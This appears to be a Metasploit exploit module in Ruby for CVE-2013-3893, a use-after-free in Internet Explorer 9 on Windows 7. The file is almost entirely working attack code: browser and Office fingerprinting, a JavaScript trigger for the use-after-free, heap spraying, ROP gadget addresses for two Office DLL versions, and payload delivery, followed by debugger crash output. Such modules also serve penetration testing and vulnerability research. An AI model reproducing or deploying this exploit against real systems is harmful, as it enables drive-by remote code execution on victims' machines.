345 lines
9.2 KiB
Ruby
345 lines
9.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Microsoft Internet Explorer SetMouseCapture Use-After-Free",
|
|
'Description' => %q{
|
|
This module exploits a use-after-free vulnerability that currents targets Internet
|
|
Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
|
|
It was initially found in the wild in Japan, but other regions such as English,
|
|
Chinese, Korean, etc, were targeted as well.
|
|
|
|
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
|
|
reference during an event. An attacker first can setup two elements, where the second
|
|
is the child of the first, and then setup a onlosecapture event handler for the parent
|
|
element. The onlosecapture event seems to require two setCapture() calls to trigger,
|
|
one for the parent element, one for the child. When the setCapture() call for the child
|
|
element is called, it finally triggers the event, which allows the attacker to cause an
|
|
arbitrary memory release using document.write(), which in particular frees up a 0x54-byte
|
|
memory. The exact size of this memory may differ based on the version of IE. After the
|
|
free, an invalid reference will still be kept and pass on to more functions, eventuall
|
|
this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary
|
|
code execution) when this function attempts to use this reference to call what appears to
|
|
be a PrivateQueryInterface due to the offset (0x00).
|
|
|
|
To mimic the same exploit found in the wild, this module will try to use the same DLL
|
|
from Microsoft Office 2007 or 2010 to leverage the attack.
|
|
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Exploit in the wild first spotted in Japan
|
|
'sinn3r' # Metasploit (thx binjo for the heads up!)
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-3893' ],
|
|
[ 'OSVDB', '97380' ],
|
|
[ 'MSB', 'MS13-080' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ],
|
|
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ],
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'PrependMigrate' => true,
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Sep 17 2013",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def is_win7_ie9?(agent)
|
|
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
|
|
end
|
|
|
|
def get_preq_html(cli, req)
|
|
%Q|
|
|
<html>
|
|
<script>
|
|
function getDLL() {
|
|
var checka = 0;
|
|
var checkb = 0;
|
|
|
|
try {
|
|
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
|
|
} catch (e) {}
|
|
|
|
try {
|
|
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
|
|
} catch (e) {}
|
|
|
|
if ((typeof checka) == "object" && (typeof checkb) == "object") {
|
|
return "office2010";
|
|
}
|
|
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
|
|
return "office2007";
|
|
}
|
|
|
|
return "na";
|
|
}
|
|
|
|
window.onload = function() {
|
|
document.location = "#{get_resource.chomp("/")}/#{@exploit_page}?dll=" + getDLL();
|
|
}
|
|
</script>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def junk
|
|
return rand_text_alpha(4).unpack("V")[0].to_i
|
|
end
|
|
|
|
def get_payload(rop_dll)
|
|
code = payload.encoded
|
|
rop = ''
|
|
alignment = ''
|
|
|
|
case rop_dll
|
|
when :office2007
|
|
alignment =
|
|
[
|
|
junk, # Alignment
|
|
].pack("V*")
|
|
|
|
rop = generate_rop_payload('hxds', code, { 'target'=>'2007' })
|
|
|
|
when :office2010
|
|
alignment =
|
|
[
|
|
# 4 dword junks due to the add esp in stack pivot
|
|
junk,
|
|
junk,
|
|
junk,
|
|
junk,
|
|
0x51bf518b, # ret
|
|
junk # due to the ret 4 on the stack pivot
|
|
].pack("V*")
|
|
|
|
rop = generate_rop_payload('hxds', code, { 'target'=>'2010' })
|
|
end
|
|
|
|
p = alignment + rop + code
|
|
p
|
|
end
|
|
|
|
def get_exploit_html(cli, req, rop_dll)
|
|
gadgets = {}
|
|
case rop_dll
|
|
when :office2007
|
|
gadgets[:spray1] = 0x1af40020
|
|
|
|
# 0x31610020-0xc4, pointer to gadgets[:call_eax]
|
|
gadgets[:target] = 0x3160ff5c
|
|
|
|
# mov eax, [esi]
|
|
# push esi
|
|
# call [eax+4]
|
|
gadgets[:call_eax] = 0x51bd1ce8
|
|
|
|
# xchg eax,esp
|
|
# add byte [eax], al
|
|
# pop esi
|
|
# mov [edi+23c], ebp
|
|
# mov [edi+238], ebp
|
|
# mov [edi+234], ebp
|
|
# pop ebp
|
|
# pop ebx
|
|
# ret
|
|
gadgets[:pivot] = 0x51be4418
|
|
|
|
when :office2010
|
|
gadgets[:spray1] = 0x1a7f0020
|
|
|
|
# 0x30200020-0xc4, pointer to gadgets[:call_eax]
|
|
gadgets[:target] = 0x301fff5c
|
|
|
|
# mov eax, [esi]
|
|
# push esi
|
|
# call [eax+4]
|
|
gadgets[:call_eax] = 0x51bd1a41
|
|
|
|
# xchg eax,esp
|
|
# add eax,dword ptr [eax]
|
|
# add esp,10
|
|
# mov eax,esi
|
|
# pop esi
|
|
# pop ebp # retn 4
|
|
gadgets[:pivot] = 0x51c00e64
|
|
end
|
|
|
|
p1 =
|
|
[
|
|
gadgets[:target], # Target address
|
|
gadgets[:pivot] # stack pivot
|
|
].pack("V*")
|
|
|
|
p1 << get_payload(rop_dll)
|
|
|
|
p2 =
|
|
[
|
|
gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
|
|
].pack("V*")
|
|
|
|
js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*"))
|
|
js_p1 = Rex::Text.to_unescape(p1)
|
|
js_p2 = Rex::Text.to_unescape(p2)
|
|
|
|
%Q|
|
|
<html>
|
|
<script>
|
|
#{js_property_spray}
|
|
|
|
function loadOffice() {
|
|
try{location.href='ms-help://'} catch(e){}
|
|
}
|
|
|
|
var a = new Array();
|
|
function spray() {
|
|
var obj = '';
|
|
for (i=0; i<20; i++) {
|
|
if (i==0) { obj += unescape("#{js_s1}"); }
|
|
else { obj += "\\u4242\\u4242"; }
|
|
}
|
|
obj += "\\u5555";
|
|
|
|
for (i=0; i<10; i++) {
|
|
var e = document.createElement("div");
|
|
e.className = obj;
|
|
a.push(e);
|
|
}
|
|
|
|
var s1 = unescape("#{js_p1}");
|
|
sprayHeap({shellcode:s1, maxAllocs:0x300});
|
|
var s2 = unescape("#{js_p2}");
|
|
sprayHeap({shellcode:s2, maxAllocs:0x300});
|
|
}
|
|
|
|
function hit()
|
|
{
|
|
var id_0 = document.createElement("sup");
|
|
var id_1 = document.createElement("audio");
|
|
|
|
document.body.appendChild(id_0);
|
|
document.body.appendChild(id_1);
|
|
id_1.applyElement(id_0);
|
|
|
|
id_0.onlosecapture=function(e) {
|
|
document.write("");
|
|
spray();
|
|
}
|
|
|
|
id_0['outerText']="";
|
|
id_0.setCapture();
|
|
id_1.setCapture();
|
|
}
|
|
|
|
for (i=0; i<20; i++) {
|
|
document.createElement("frame");
|
|
}
|
|
|
|
window.onload = function() {
|
|
loadOffice();
|
|
hit();
|
|
}
|
|
</script>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
unless is_win7_ie9?(agent)
|
|
print_error("Not a suitable target: #{agent}")
|
|
send_not_found(cli)
|
|
end
|
|
|
|
html = ''
|
|
if request.uri =~ /\?dll=(\w+)$/
|
|
rop_dll = ''
|
|
if $1 == 'office2007'
|
|
print_status("Using Office 2007 ROP chain")
|
|
rop_dll = :office2007
|
|
elsif $1 == 'office2010'
|
|
print_status("Using Office 2010 ROP chain")
|
|
rop_dll = :office2010
|
|
else
|
|
print_error("Target does not have Office installed")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
html = get_exploit_html(cli, request, rop_dll)
|
|
else
|
|
print_status("Checking target requirements...")
|
|
html = get_preq_html(cli, request)
|
|
end
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
|
end
|
|
|
|
def exploit
|
|
@exploit_page = "default.html"
|
|
super
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
|
|
hxds.dll (Microsoft® Help Data Services Module)
|
|
|
|
2007 DLL info:
|
|
ProductVersion: 2.05.50727.198
|
|
FileVersion: 2.05.50727.198 (QFE.050727-1900)
|
|
|
|
2010 DLL info:
|
|
ProductVersion: 2.05.50727.4039
|
|
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
|
|
|
|
mshtml.dll
|
|
ProductVersion: 9.00.8112.16446
|
|
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
|
|
FileDescription: Microsoft (R) HTML Viewer
|
|
|
|
|
|
0:005> r
|
|
eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34
|
|
eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
MSHTML!CTreeNode::GetInterface+0xd8:
|
|
679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=????????
|
|
|
|
|
|
66e13df7 8b0e mov ecx,dword ptr [esi]
|
|
66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000)
|
|
66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h]
|
|
66e13e01 ffd0 call eax
|
|
|
|
=end
|